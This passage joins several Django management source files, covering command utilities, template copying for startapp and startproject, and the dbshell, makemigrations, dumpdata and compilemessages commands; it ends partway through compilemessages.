from django.utils import six
from django.utils.crypto import get_random_string
from django.utils.encoding import DEFAULT_LOCALE_ENCODING, force_text

from .base import CommandError


def popen_wrapper(args, os_err_exc_type=CommandError, stdout_encoding='utf-8'):
    """
    Friendly wrapper around Popen.

    Returns stdout output, stderr output and OS status code.
    """
    try:
        p = Popen(args, shell=False, stdout=PIPE, stderr=PIPE, close_fds=os.name != 'nt')
    except OSError as e:
        strerror = force_text(e.strerror, DEFAULT_LOCALE_ENCODING, strings_only=True)
        six.reraise(os_err_exc_type, os_err_exc_type('Error executing %s: %s' %
                    (args[0], strerror)), sys.exc_info()[2])
    output, errors = p.communicate()
    return (
        force_text(output, stdout_encoding, strings_only=True, errors='strict'),
        force_text(errors, DEFAULT_LOCALE_ENCODING, strings_only=True, errors='replace'),
        p.returncode
    )


def handle_extensions(extensions):
    """
    Organizes multiple extensions that are separated with commas or passed by
    using --extension/-e multiple times.

    For example: running 'django-admin makemessages -e js,txt -e xhtml -a'
    would result in an extension list: ['.js', '.txt', '.xhtml']

    >>> handle_extensions(['.html', 'html,js,py,py,py,.py', 'py,.py'])
    {'.html', '.js', '.py'}
    >>> handle_extensions(['.html, txt,.tpl'])
    {'.html', '.tpl', '.txt'}
    """
    ext_list = []
    for ext in extensions:
        ext_list.extend(ext.replace(' ', '').split(','))
    for i, ext in enumerate(ext_list):
        if not ext.startswith('.'):
            ext_list[i] = '.%s' % ext_list[i]
    return set(ext_list)


def find_command(cmd, path=None, pathext=None):
    if path is None:
        path = os.environ.get('PATH', '').split(os.pathsep)
    if isinstance(path, six.string_types):
        path = [path]
    # check if there are funny path extensions for executables, e.g. Windows
    if pathext is None:
        pathext = os.environ.get('PATHEXT', '.COM;.EXE;.BAT;.CMD').split(os.pathsep)
    # don't use extensions if the command ends with one of them
    for ext in pathext:
        if cmd.endswith(ext):
            pathext = ['']
            break
    # check if we find the command on PATH
    for p in path:
        f = os.path.join(p, cmd)
        if os.path.isfile(f):
            return f
        for ext in pathext:
            fext = f + ext
            if os.path.isfile(fext):
                return fext
    return None


def get_random_secret_key():
    """
    Return a 50 character random string usable as a SECRET_KEY setting value.
    """
    chars = 'abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(-_=+)'
    return get_random_string(50, chars)


def parse_apps_and_model_labels(labels):
    """
    Parse a list of "app_label.ModelName" or "app_label" strings into actual
    objects and return a two-element tuple:
        (set of model classes, set of app_configs).
    Raise a CommandError if some specified models or apps don't exist.
    """
    apps = set()
    models = set()

    for label in labels:
        if '.' in label:
            try:
                model = installed_apps.get_model(label)
            except LookupError:
                raise CommandError('Unknown model: %s' % label)
            models.add(model)
        else:
            try:
                app_config = installed_apps.get_app_config(label)
            except LookupError as e:
                raise CommandError(str(e))
            apps.add(app_config)

    return models, apps






from __future__ import unicode_literals

from django.apps import apps
from django.db import models


def sql_flush(style, connection, only_django=False, reset_sequences=True, allow_cascade=False):
    """
    Returns a list of the SQL statements used to flush the database.

    If only_django is True, then only table names that have associated Django
    models and are in INSTALLED_APPS will be included.
    """
    if only_django:
        tables = connection.introspection.django_table_names(only_existing=True, include_views=False)
    else:
        tables = connection.introspection.table_names(include_views=False)
    seqs = connection.introspection.sequence_list() if reset_sequences else ()
    statements = connection.ops.sql_flush(style, tables, seqs, allow_cascade)
    return statements


def emit_pre_migrate_signal(verbosity, interactive, db, **kwargs):
    # Emit the pre_migrate signal for every application.
    for app_config in apps.get_app_configs():
        if app_config.models_module is None:
            continue
        if verbosity >= 2:
            print("Running pre-migrate handlers for application %s" % app_config.label)
        models.signals.pre_migrate.send(
            sender=app_config,
            app_config=app_config,
            verbosity=verbosity,
            interactive=interactive,
            using=db,
            **kwargs
        )


def emit_post_migrate_signal(verbosity, interactive, db, **kwargs):
    # Emit the post_migrate signal for every application.
    for app_config in apps.get_app_configs():
        if app_config.models_module is None:
            continue
        if verbosity >= 2:
            print("Running post-migrate handlers for application %s" % app_config.label)
        models.signals.post_migrate.send(
            sender=app_config,
            app_config=app_config,
            verbosity=verbosity,
            interactive=interactive,
            using=db,
            **kwargs
        )






import cgi
import errno
import mimetypes
import os
import posixpath
import re
import shutil
import stat
import sys
import tempfile
from os import path

import django
from django.core.management.base import BaseCommand, CommandError
from django.core.management.utils import handle_extensions
from django.template import Context, Engine
from django.utils import archive, six
from django.utils.six.moves.urllib.request import urlretrieve
from django.utils.version import get_docs_version

_drive_re = re.compile('^([a-z]):', re.I)
_url_drive_re = re.compile('^([a-z])[:|]', re.I)


class TemplateCommand(BaseCommand):
    """
    Copies either a Django application layout template or a Django project
    layout template into the specified directory.

    :param style: A color style object (see django.core.management.color).
    :param app_or_project: The string 'app' or 'project'.
    :param name: The name of the application or project.
    :param directory: The directory to which the template should be copied.
    :param options: The additional variables passed to project or app templates
    """
    requires_system_checks = False
    # Can't import settings during this command, because they haven't
    # necessarily been created.
    can_import_settings = False
    # The supported URL schemes
    url_schemes = ['http', 'https', 'ftp']
    # Can't perform any active locale changes during this command, because
    # setting might not be available at all.
    leave_locale_alone = True
    # Rewrite the following suffixes when determining the target filename.
    rewrite_template_suffixes = (
        # Allow shipping invalid .py files without byte-compilation.
        ('.py-tpl', '.py'),
    )

    def add_arguments(self, parser):
        parser.add_argument('name', help='Name of the application or project.')
        parser.add_argument('directory', nargs='?', help='Optional destination directory')
        parser.add_argument('--template', help='The path or URL to load the template from.')
        parser.add_argument(
            '--extension', '-e', dest='extensions',
            action='append', default=['py'],
            help='The file extension(s) to render (default: "py"). '
                 'Separate multiple extensions with commas, or use '
                 '-e multiple times.'
        )
        parser.add_argument(
            '--name', '-n', dest='files',
            action='append', default=[],
            help='The file name(s) to render. Separate multiple extensions '
                 'with commas, or use -n multiple times.'
        )

    def handle(self, app_or_project, name, target=None, **options):
        self.app_or_project = app_or_project
        self.paths_to_remove = []
        self.verbosity = options['verbosity']

        self.validate_name(name, app_or_project)

        # if some directory is given, make sure it's nicely expanded
        if target is None:
            top_dir = path.join(os.getcwd(), name)
            try:
                os.makedirs(top_dir)
            except OSError as e:
                if e.errno == errno.EEXIST:
                    message = "'%s' already exists" % top_dir
                else:
                    message = e
                raise CommandError(message)
        else:
            top_dir = os.path.abspath(path.expanduser(target))
            if not os.path.exists(top_dir):
                raise CommandError("Destination directory '%s' does not "
                                   "exist, please create it first." % top_dir)

        extensions = tuple(handle_extensions(options['extensions']))
        extra_files = []
        for file in options['files']:
            extra_files.extend(map(lambda x: x.strip(), file.split(',')))
        if self.verbosity >= 2:
            self.stdout.write("Rendering %s template files with "
                              "extensions: %s\n" %
                              (app_or_project, ', '.join(extensions)))
            self.stdout.write("Rendering %s template files with "
                              "filenames: %s\n" %
                              (app_or_project, ', '.join(extra_files)))

        base_name = '%s_name' % app_or_project
        base_subdir = '%s_template' % app_or_project
        base_directory = '%s_directory' % app_or_project
        camel_case_name = 'camel_case_%s_name' % app_or_project
        camel_case_value = ''.join(x for x in name.title() if x != '_')

        context = Context(dict(options, **{
            base_name: name,
            base_directory: top_dir,
            camel_case_name: camel_case_value,
            'docs_version': get_docs_version(),
            'django_version': django.__version__,
            'unicode_literals': '' if six.PY3 else 'from __future__ import unicode_literals\n\n',
        }), autoescape=False)

        # Setup a stub settings environment for template rendering
        from django.conf import settings
        if not settings.configured:
            settings.configure()

        template_dir = self.handle_template(options['template'],
                                            base_subdir)
        prefix_length = len(template_dir) + 1

        for root, dirs, files in os.walk(template_dir):

            path_rest = root[prefix_length:]
            relative_dir = path_rest.replace(base_name, name)
            if relative_dir:
                target_dir = path.join(top_dir, relative_dir)
                if not path.exists(target_dir):
                    os.mkdir(target_dir)

            for dirname in dirs[:]:
                if dirname.startswith('.') or dirname == '__pycache__':
                    dirs.remove(dirname)

            for filename in files:
                if filename.endswith(('.pyo', '.pyc', '.py.class')):
                    # Ignore some files as they cause various breakages.
                    continue
                old_path = path.join(root, filename)
                new_path = path.join(top_dir, relative_dir,
                                     filename.replace(base_name, name))
                for old_suffix, new_suffix in self.rewrite_template_suffixes:
                    if new_path.endswith(old_suffix):
                        new_path = new_path[:-len(old_suffix)] + new_suffix
                        break  # Only rewrite once

                if path.exists(new_path):
                    raise CommandError("%s already exists, overlaying a "
                                       "project or app into an existing "
                                       "directory won't replace conflicting "
                                       "files" % new_path)

                # Only render the Python files, as we don't want to
                # accidentally render Django templates files
                with open(old_path, 'rb') as template_file:
                    content = template_file.read()
                if new_path.endswith(extensions) or filename in extra_files:
                    content = content.decode('utf-8')
                    template = Engine().from_string(content)
                    content = template.render(context)
                    content = content.encode('utf-8')
                with open(new_path, 'wb') as new_file:
                    new_file.write(content)

                if self.verbosity >= 2:
                    self.stdout.write("Creating %s\n" % new_path)
                try:
                    shutil.copymode(old_path, new_path)
                    self.make_writeable(new_path)
                except OSError:
                    self.stderr.write(
                        "Notice: Couldn't set permission bits on %s. You're "
                        "probably using an uncommon filesystem setup. No "
                        "problem." % new_path, self.style.NOTICE)

        if self.paths_to_remove:
            if self.verbosity >= 2:
                self.stdout.write("Cleaning up temporary files.\n")
            for path_to_remove in self.paths_to_remove:
                if path.isfile(path_to_remove):
                    os.remove(path_to_remove)
                else:
                    shutil.rmtree(path_to_remove)

    def handle_template(self, template, subdir):
        """
        Determines where the app or project templates are.
        Use django.__path__[0] as the default because we don't
        know into which directory Django has been installed.
        """
        if template is None:
            return path.join(django.__path__[0], 'conf', subdir)
        else:
            if template.startswith('file://'):
                template = template[7:]
            expanded_template = path.expanduser(template)
            expanded_template = path.normpath(expanded_template)
            if path.isdir(expanded_template):
                return expanded_template
            if self.is_url(template):
                # downloads the file and returns the path
                absolute_path = self.download(template)
            else:
                absolute_path = path.abspath(expanded_template)
            if path.exists(absolute_path):
                return self.extract(absolute_path)

        raise CommandError("couldn't handle %s template %s." %
                           (self.app_or_project, template))

    def validate_name(self, name, app_or_project):
        if name is None:
            raise CommandError("you must provide %s %s name" % (
                "an" if app_or_project == "app" else "a", app_or_project))
        # If it's not a valid directory name.
        if six.PY2:
            if not re.search(r'^[_a-zA-Z]\w*$', name):
                # Provide a smart error message, depending on the error.
                if not re.search(r'^[_a-zA-Z]', name):
                    message = 'make sure the name begins with a letter or underscore'
                else:
                    message = 'use only numbers, letters and underscores'
                raise CommandError("%r is not a valid %s name. Please %s." %
                                   (name, app_or_project, message))
        else:
            if not name.isidentifier():
                raise CommandError(
                    "%r is not a valid %s name. Please make sure the name is "
                    "a valid identifier." % (name, app_or_project)
                )

    def download(self, url):
        """
        Downloads the given URL and returns the file name.
        """
        def cleanup_url(url):
            tmp = url.rstrip('/')
            filename = tmp.split('/')[-1]
            if url.endswith('/'):
                display_url = tmp + '/'
            else:
                display_url = url
            return filename, display_url

        prefix = 'django_%s_template_' % self.app_or_project
        tempdir = tempfile.mkdtemp(prefix=prefix, suffix='_download')
        self.paths_to_remove.append(tempdir)
        filename, display_url = cleanup_url(url)

        if self.verbosity >= 2:
            self.stdout.write("Downloading %s\n" % display_url)
        try:
            the_path, info = urlretrieve(url, path.join(tempdir, filename))
        except IOError as e:
            raise CommandError("couldn't download URL %s to %s: %s" %
                               (url, filename, e))

        used_name = the_path.split('/')[-1]

        # Trying to get better name from response headers
        content_disposition = info.get('content-disposition')
        if content_disposition:
            _, params = cgi.parse_header(content_disposition)
            guessed_filename = params.get('filename') or used_name
        else:
            guessed_filename = used_name

        # Falling back to content type guessing
        ext = self.splitext(guessed_filename)[1]
        content_type = info.get('content-type')
        if not ext and content_type:
            ext = mimetypes.guess_extension(content_type)
            if ext:
                guessed_filename += ext

        # Move the temporary file to a filename that has better
        # chances of being recognized by the archive utils
        if used_name != guessed_filename:
            guessed_path = path.join(tempdir, guessed_filename)
            shutil.move(the_path, guessed_path)
            return guessed_path

        # Giving up
        return the_path

    def splitext(self, the_path):
        """
        Like os.path.splitext, but takes off .tar, too
        """
        base, ext = posixpath.splitext(the_path)
        if base.lower().endswith('.tar'):
            ext = base[-4:] + ext
            base = base[:-4]
        return base, ext

    def extract(self, filename):
        """
        Extracts the given file to a temporarily and returns
        the path of the directory with the extracted content.
        """
        prefix = 'django_%s_template_' % self.app_or_project
        tempdir = tempfile.mkdtemp(prefix=prefix, suffix='_extract')
        self.paths_to_remove.append(tempdir)
        if self.verbosity >= 2:
            self.stdout.write("Extracting %s\n" % filename)
        try:
            archive.extract(filename, tempdir)
            return tempdir
        except (archive.ArchiveException, IOError) as e:
            raise CommandError("couldn't extract file %s to %s: %s" %
                               (filename, tempdir, e))

    def is_url(self, template):
        """
        Returns True if the name looks like a URL
        """
        if ':' not in template:
            return False
        scheme = template.split(':', 1)[0].lower()
        return scheme in self.url_schemes

    def make_writeable(self, filename):
        """
        Make sure that the file is writeable.
        Useful if our source is read-only.
        """
        if sys.platform.startswith('java'):
            # On Jython there is no os.access()
            return
        if not os.access(filename, os.W_OK):
            st = os.stat(filename)
            new_permissions = stat.S_IMODE(st.st_mode) | stat.S_IWUSR
            os.chmod(filename, new_permissions)






from django.core.management.base import BaseCommand, CommandError
from django.db import DEFAULT_DB_ALIAS, connections


class Command(BaseCommand):
    help = (
        "Runs the command-line client for specified database, or the "
        "default database if none is provided."
    )

    requires_system_checks = False

    def add_arguments(self, parser):
        parser.add_argument(
            '--database', action='store', dest='database', default=DEFAULT_DB_ALIAS,
            help='Nominates a database onto which to open a shell. Defaults to the "default" database.',
        )

    def handle(self, **options):
        connection = connections[options['database']]
        try:
            connection.client.runshell()
        except OSError:
            # Note that we're assuming OSError means that the client program
            # isn't installed. There's a possibility OSError would be raised
            # for some other reason, in which case this error message would be
            # inaccurate. Still, this message catches the common case.
            raise CommandError(
                'You appear not to have the %r program installed or on your path.' %
                connection.client.executable_name
            )






import os
import sys
import warnings
from itertools import takewhile

from django.apps import apps
from django.core.management.base import BaseCommand, CommandError
from django.db import connections
from django.db.migrations import Migration
from django.db.migrations.autodetector import MigrationAutodetector
from django.db.migrations.loader import MigrationLoader
from django.db.migrations.questioner import (
    InteractiveMigrationQuestioner, MigrationQuestioner,
    NonInteractiveMigrationQuestioner,
)
from django.db.migrations.state import ProjectState
from django.db.migrations.utils import get_migration_name_timestamp
from django.db.migrations.writer import MigrationWriter
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.six import iteritems
from django.utils.six.moves import zip


class Command(BaseCommand):
    help = "Creates new migration(s) for apps."

    def add_arguments(self, parser):
        parser.add_argument(
            'args', metavar='app_label', nargs='*',
            help='Specify the app label(s) to create migrations for.',
        )
        parser.add_argument(
            '--dry-run', action='store_true', dest='dry_run', default=False,
            help="Just show what migrations would be made; don't actually write them.",
        )
        parser.add_argument(
            '--merge', action='store_true', dest='merge', default=False,
            help="Enable fixing of migration conflicts.",
        )
        parser.add_argument(
            '--empty', action='store_true', dest='empty', default=False,
            help="Create an empty migration.",
        )
        parser.add_argument(
            '--noinput', '--no-input',
            action='store_false', dest='interactive', default=True,
            help='Tells Django to NOT prompt the user for input of any kind.',
        )
        parser.add_argument(
            '-n', '--name', action='store', dest='name', default=None,
            help="Use this name for migration file(s).",
        )
        parser.add_argument(
            '-e', '--exit', action='store_true', dest='exit_code', default=False,
            help='Exit with error code 1 if no changes needing migrations are found. '
                 'Deprecated, use the --check option instead.',
        )
        parser.add_argument(
            '--check', action='store_true', dest='check_changes',
            help='Exit with a non-zero status if model changes are missing migrations.',
        )

    def handle(self, *app_labels, **options):
        self.verbosity = options['verbosity']
        self.interactive = options['interactive']
        self.dry_run = options['dry_run']
        self.merge = options['merge']
        self.empty = options['empty']
        self.migration_name = options['name']
        self.exit_code = options['exit_code']
        check_changes = options['check_changes']

        if self.exit_code:
            warnings.warn(
                "The --exit option is deprecated in favor of the --check option.",
                RemovedInDjango20Warning
            )

        # Make sure the app they asked for exists
        app_labels = set(app_labels)
        bad_app_labels = set()
        for app_label in app_labels:
            try:
                apps.get_app_config(app_label)
            except LookupError:
                bad_app_labels.add(app_label)
        if bad_app_labels:
            for app_label in bad_app_labels:
                self.stderr.write("App '%s' could not be found. Is it in INSTALLED_APPS?" % app_label)
            sys.exit(2)

        # Load the current graph state. Pass in None for the connection so
        # the loader doesn't try to resolve replaced migrations from DB.
        loader = MigrationLoader(None, ignore_no_migrations=True)

        # Raise an error if any migrations are applied before their dependencies.
        for db in connections:
            connection = connections[db]
            if connection.settings_dict['ENGINE'] != 'django.db.backends.dummy':
                loader.check_consistent_history(connection)

        # Before anything else, see if there's conflicting apps and drop out
        # hard if there are any and they don't want to merge
        conflicts = loader.detect_conflicts()

        # If app_labels is specified, filter out conflicting migrations for unspecified apps
        if app_labels:
            conflicts = {
                app_label: conflict for app_label, conflict in iteritems(conflicts)
                if app_label in app_labels
            }

        if conflicts and not self.merge:
            name_str = "; ".join(
                "%s in %s" % (", ".join(names), app)
                for app, names in conflicts.items()
            )
            raise CommandError(
                "Conflicting migrations detected; multiple leaf nodes in the "
                "migration graph: (%s).\nTo fix them run "
                "'python manage.py makemigrations --merge'" % name_str
            )

        # If they want to merge and there's nothing to merge, then politely exit
        if self.merge and not conflicts:
            self.stdout.write("No conflicts detected to merge.")
            return

        # If they want to merge and there is something to merge, then
        # divert into the merge code
        if self.merge and conflicts:
            return self.handle_merge(loader, conflicts)

        if self.interactive:
            questioner = InteractiveMigrationQuestioner(specified_apps=app_labels, dry_run=self.dry_run)
        else:
            questioner = NonInteractiveMigrationQuestioner(specified_apps=app_labels, dry_run=self.dry_run)
        # Set up autodetector
        autodetector = MigrationAutodetector(
            loader.project_state(),
            ProjectState.from_apps(apps),
            questioner,
        )

        # If they want to make an empty migration, make one for each app
        if self.empty:
            if not app_labels:
                raise CommandError("You must supply at least one app label when using --empty.")
            # Make a fake changes() result we can pass to arrange_for_graph
            changes = {
                app: [Migration("custom", app)]
                for app in app_labels
            }
            changes = autodetector.arrange_for_graph(
                changes=changes,
                graph=loader.graph,
                migration_name=self.migration_name,
            )
            self.write_migration_files(changes)
            return

        # Detect changes
        changes = autodetector.changes(
            graph=loader.graph,
            trim_to_apps=app_labels or None,
            convert_apps=app_labels or None,
            migration_name=self.migration_name,
        )

        if not changes:
            # No changes? Tell them.
            if self.verbosity >= 1:
                if len(app_labels) == 1:
                    self.stdout.write("No changes detected in app '%s'" % app_labels.pop())
                elif len(app_labels) > 1:
                    self.stdout.write("No changes detected in apps '%s'" % ("', '".join(app_labels)))
                else:
                    self.stdout.write("No changes detected")

            if self.exit_code:
                sys.exit(1)
        else:
            self.write_migration_files(changes)
            if check_changes:
                sys.exit(1)

    def write_migration_files(self, changes):
        """
        Takes a changes dict and writes them out as migration files.
        """
        directory_created = {}
        for app_label, app_migrations in changes.items():
            if self.verbosity >= 1:
                self.stdout.write(self.style.MIGRATE_HEADING("Migrations for '%s':" % app_label) + "\n")
            for migration in app_migrations:
                # Describe the migration
                writer = MigrationWriter(migration)
                if self.verbosity >= 1:
                    # Display a relative path if it's below the current working
                    # directory, or an absolute path otherwise.
                    migration_string = os.path.relpath(writer.path)
                    if migration_string.startswith('..'):
                        migration_string = writer.path
                    self.stdout.write("  %s:\n" % (self.style.MIGRATE_LABEL(migration_string),))
                    for operation in migration.operations:
                        self.stdout.write("    - %s\n" % operation.describe())
                if not self.dry_run:
                    # Write the migrations file to the disk.
                    migrations_directory = os.path.dirname(writer.path)
                    if not directory_created.get(app_label):
                        if not os.path.isdir(migrations_directory):
                            os.mkdir(migrations_directory)
                        init_path = os.path.join(migrations_directory, "__init__.py")
                        if not os.path.isfile(init_path):
                            open(init_path, "w").close()
                        # We just do this once per app
                        directory_created[app_label] = True
                    migration_string = writer.as_string()
                    with open(writer.path, "wb") as fh:
                        fh.write(migration_string)
                elif self.verbosity == 3:
                    # Alternatively, makemigrations --dry-run --verbosity 3
                    # will output the migrations to stdout rather than saving
                    # the file to the disk.
                    self.stdout.write(self.style.MIGRATE_HEADING(
                        "Full migrations file '%s':" % writer.filename) + "\n"
                    )
                    self.stdout.write("%s\n" % writer.as_string())

    def handle_merge(self, loader, conflicts):
        """
        Handles merging together conflicted migrations interactively,
        if it's safe; otherwise, advises on how to fix it.
        """
        if self.interactive:
            questioner = InteractiveMigrationQuestioner()
        else:
            questioner = MigrationQuestioner(defaults={'ask_merge': True})

        for app_label, migration_names in conflicts.items():
            # Grab out the migrations in question, and work out their
            # common ancestor.
            merge_migrations = []
            for migration_name in migration_names:
                migration = loader.get_migration(app_label, migration_name)
                migration.ancestry = [
                    mig for mig in loader.graph.forwards_plan((app_label, migration_name))
                    if mig[0] == migration.app_label
                ]
                merge_migrations.append(migration)

            def all_items_equal(seq):
                return all(item == seq[0] for item in seq[1:])

            merge_migrations_generations = zip(*[m.ancestry for m in merge_migrations])
            common_ancestor_count = sum(1 for common_ancestor_generation
                                        in takewhile(all_items_equal, merge_migrations_generations))
            if not common_ancestor_count:
                raise ValueError("Could not find common ancestor of %s" % migration_names)
            # Now work out the operations along each divergent branch
            for migration in merge_migrations:
                migration.branch = migration.ancestry[common_ancestor_count:]
                migrations_ops = (loader.get_migration(node_app, node_name).operations
                                  for node_app, node_name in migration.branch)
                migration.merged_operations = sum(migrations_ops, [])
            # In future, this could use some of the Optimizer code
            # (can_optimize_through) to automatically see if they're
            # mergeable. For now, we always just prompt the user.
            if self.verbosity > 0:
                self.stdout.write(self.style.MIGRATE_HEADING("Merging %s" % app_label))
                for migration in merge_migrations:
                    self.stdout.write(self.style.MIGRATE_LABEL("  Branch %s" % migration.name))
                    for operation in migration.merged_operations:
                        self.stdout.write("    - %s\n" % operation.describe())
            if questioner.ask_merge(app_label):
                # If they still want to merge it, then write out an empty
                # file depending on the migrations needing merging.
                numbers = [
                    MigrationAutodetector.parse_number(migration.name)
                    for migration in merge_migrations
                ]
                try:
                    biggest_number = max(x for x in numbers if x is not None)
                except ValueError:
                    biggest_number = 1
                subclass = type("Migration", (Migration, ), {
                    "dependencies": [(app_label, migration.name) for migration in merge_migrations],
                })
                migration_name = "%04i_%s" % (
                    biggest_number + 1,
                    self.migration_name or ("merge_%s" % get_migration_name_timestamp())
                )
                new_migration = subclass(migration_name, app_label)
                writer = MigrationWriter(new_migration)

                if not self.dry_run:
                    # Write the merge migrations file to the disk
                    with open(writer.path, "wb") as fh:
                        fh.write(writer.as_string())
                    if self.verbosity > 0:
                        self.stdout.write("\nCreated new merge migration %s" % writer.path)
                elif self.verbosity == 3:
                    # Alternatively, makemigrations --merge --dry-run --verbosity 3
                    # will output the merge migrations to stdout rather than saving
                    # the file to the disk.
                    self.stdout.write(self.style.MIGRATE_HEADING(
                        "Full merge migrations file '%s':" % writer.filename) + "\n"
                    )
                    self.stdout.write("%s\n" % writer.as_string())






import warnings
from collections import OrderedDict

from django.apps import apps
from django.core import serializers
from django.core.management.base import BaseCommand, CommandError
from django.core.management.utils import parse_apps_and_model_labels
from django.db import DEFAULT_DB_ALIAS, router


class ProxyModelWarning(Warning):
    pass


class Command(BaseCommand):
    help = (
        "Output the contents of the database as a fixture of the given format "
        "(using each model's default manager unless --all is specified)."
    )

    def add_arguments(self, parser):
        parser.add_argument(
            'args', metavar='app_label[.ModelName]', nargs='*',
            help='Restricts dumped data to the specified app_label or app_label.ModelName.',
        )
        parser.add_argument(
            '--format', default='json', dest='format',
            help='Specifies the output serialization format for fixtures.',
        )
        parser.add_argument(
            '--indent', default=None, dest='indent', type=int,
            help='Specifies the indent level to use when pretty-printing output.',
        )
        parser.add_argument(
            '--database', action='store', dest='database',
            default=DEFAULT_DB_ALIAS,
            help='Nominates a specific database to dump fixtures from. '
                 'Defaults to the "default" database.',
        )
        parser.add_argument(
            '-e', '--exclude', dest='exclude', action='append', default=[],
            help='An app_label or app_label.ModelName to exclude '
                 '(use multiple --exclude to exclude multiple apps/models).',
        )
        parser.add_argument(
            '--natural-foreign', action='store_true', dest='use_natural_foreign_keys', default=False,
            help='Use natural foreign keys if they are available.',
        )
        parser.add_argument(
            '--natural-primary', action='store_true', dest='use_natural_primary_keys', default=False,
            help='Use natural primary keys if they are available.',
        )
        parser.add_argument(
            '-a', '--all', action='store_true', dest='use_base_manager', default=False,
            help="Use Django's base manager to dump all models stored in the database, "
                 "including those that would otherwise be filtered or modified by a custom manager.",
        )
        parser.add_argument(
            '--pks', dest='primary_keys',
            help="Only dump objects with given primary keys. Accepts a comma-separated "
                 "list of keys. This option only works when you specify one model.",
        )
        parser.add_argument(
            '-o', '--output', default=None, dest='output',
            help='Specifies file to which the output is written.'
        )

    def handle(self, *app_labels, **options):
        format = options['format']
        indent = options['indent']
        using = options['database']
        excludes = options['exclude']
        output = options['output']
        show_traceback = options['traceback']
        use_natural_foreign_keys = options['use_natural_foreign_keys']
        use_natural_primary_keys = options['use_natural_primary_keys']
        use_base_manager = options['use_base_manager']
        pks = options['primary_keys']

        if pks:
            primary_keys = [pk.strip() for pk in pks.split(',')]
        else:
            primary_keys = []

        excluded_models, excluded_apps = parse_apps_and_model_labels(excludes)

        if len(app_labels) == 0:
            if primary_keys:
                raise CommandError("You can only use --pks option with one model")
            app_list = OrderedDict(
                (app_config, None) for app_config in apps.get_app_configs()
                if app_config.models_module is not None and app_config not in excluded_apps
            )
        else:
            if len(app_labels) > 1 and primary_keys:
                raise CommandError("You can only use --pks option with one model")
            app_list = OrderedDict()
            for label in app_labels:
                try:
                    app_label, model_label = label.split('.')
                    try:
                        app_config = apps.get_app_config(app_label)
                    except LookupError as e:
                        raise CommandError(str(e))
                    if app_config.models_module is None or app_config in excluded_apps:
                        continue
                    try:
                        model = app_config.get_model(model_label)
                    except LookupError:
                        raise CommandError("Unknown model: %s.%s" % (app_label, model_label))

                    app_list_value = app_list.setdefault(app_config, [])

                    # We may have previously seen a "all-models" request for
                    # this app (no model qualifier was given). In this case
                    # there is no need adding specific models to the list.
                    if app_list_value is not None:
                        if model not in app_list_value:
                            app_list_value.append(model)
                except ValueError:
                    if primary_keys:
                        raise CommandError("You can only use --pks option with one model")
                    # This is just an app - no model qualifier
                    app_label = label
                    try:
                        app_config = apps.get_app_config(app_label)
                    except LookupError as e:
                        raise CommandError(str(e))
                    if app_config.models_module is None or app_config in excluded_apps:
                        continue
                    app_list[app_config] = None

        # Check that the serialization format exists; this is a shortcut to
        # avoid collating all the objects and _then_ failing.
        if format not in serializers.get_public_serializer_formats():
            try:
                serializers.get_serializer(format)
            except serializers.SerializerDoesNotExist:
                pass

            raise CommandError("Unknown serialization format: %s" % format)

        def get_objects(count_only=False):
            """
            Collate the objects to be serialized. If count_only is True, just
            count the number of objects to be serialized.
            """
            models = serializers.sort_dependencies(app_list.items())
            for model in models:
                if model in excluded_models:
                    continue
                if model._meta.proxy and model._meta.proxy_for_model not in models:
                    warnings.warn(
                        "%s is a proxy model and won't be serialized." % model._meta.label,
                        category=ProxyModelWarning,
                    )
                if not model._meta.proxy and router.allow_migrate_model(using, model):
                    if use_base_manager:
                        objects = model._base_manager
                    else:
                        objects = model._default_manager

                    queryset = objects.using(using).order_by(model._meta.pk.name)
                    if primary_keys:
                        queryset = queryset.filter(pk__in=primary_keys)
                    if count_only:
                        yield queryset.order_by().count()
                    else:
                        for obj in queryset.iterator():
                            yield obj

        try:
            self.stdout.ending = None
            progress_output = None
            object_count = 0
            # If dumpdata is outputting to stdout, there is no way to display progress
            if (output and self.stdout.isatty() and options['verbosity'] > 0):
                progress_output = self.stdout
                object_count = sum(get_objects(count_only=True))
            stream = open(output, 'w') if output else None
            try:
                serializers.serialize(
                    format, get_objects(), indent=indent,
                    use_natural_foreign_keys=use_natural_foreign_keys,
                    use_natural_primary_keys=use_natural_primary_keys,
                    stream=stream or self.stdout, progress_output=progress_output,
                    object_count=object_count,
                )
            finally:
                if stream:
                    stream.close()
        except Exception as e:
            if show_traceback:
                raise
            raise CommandError("Unable to serialize database: %s" % e)






from __future__ import unicode_literals

import codecs
import glob
import os

from django.core.management.base import BaseCommand, CommandError
from django.core.management.utils import find_command, popen_wrapper
from django.utils._os import npath, upath


def has_bom(fn):
    with open(fn, 'rb') as f:
        sample = f.read(4)
    return sample.startswith((codecs.BOM_UTF8, codecs.BOM_UTF16_LE, codecs.BOM_UTF16_BE))


def is_writable(path):
    # Known side effect: updating file access/modified time to current time if
    # it is writable.
    try:
        with open(path, 'a'):
            os.utime(path, None)
    except (IOError, OSError):
        return False
    return True


class Command(BaseCommand):
    help = 'Compiles .po files to .mo files for use with builtin gettext support.'

    requires_system_checks = False
    leave_locale_alone = True

    program = 'msgfmt'
    program_options = ['--check-format']

    def add_arguments(self, parser):
        parser.add_argument(
            '--locale', '-l', dest='locale', action='append', default=[],
            help='Locale(s) to process (e.g. de_AT). Default is to process all. '
                 'Can be used multiple times.',
        )
        parser.add_argument(
            '--exclude', '-x', dest='exclude', action='append', default=[],
            help='Locales to exclude. Default is none. Can be used multiple times.',
        )
        parser.add_argument(
            '--use-fuzzy', '-f', dest='fuzzy', action='store_true', default=False,
            help='Use fuzzy translations.',
        )

    def handle(self, **options):
        locale = options['locale']
        exclude = options['exclude']
        self.verbosity = options['verbosity']
        if options['fuzzy']:
            self.program_options = self.program_options + ['-f']

        if find_command(self.program) is None:
            raise CommandError("Can't find %s. Make sure you have GNU gettext "
                               "tools 0.15 or newer installed." % self.program)

        basedirs = [os.path.join('conf', 'locale'), 'locale']
        if os.environ.get('DJANGO_SETTINGS_MODULE'):
            from django.conf import settings
            basedirs.extend(upath(path) for path in settings.LOCALE_PATHS)

        # Walk entire tree, looking for locale directories
        for dirpath, dirnames, filenames in os.walk('.', topdown=True):
            for dirname in dirnames:
                if dirname == 'locale':
                    basedirs.append(os.path.join(dirpath, dirname))

        # Gather existing directories.
        basedirs = set(map(os.path.abspath, filter(os.path.isdir, basedirs)))

        if not basedirs:
            raise CommandError("This script should be run from the Django Git "
                               "checkout or your project or app tree, or with "
                               "the settings module specified.")

        # Build locale list
        all_locales = []
        for basedir in basedirs:
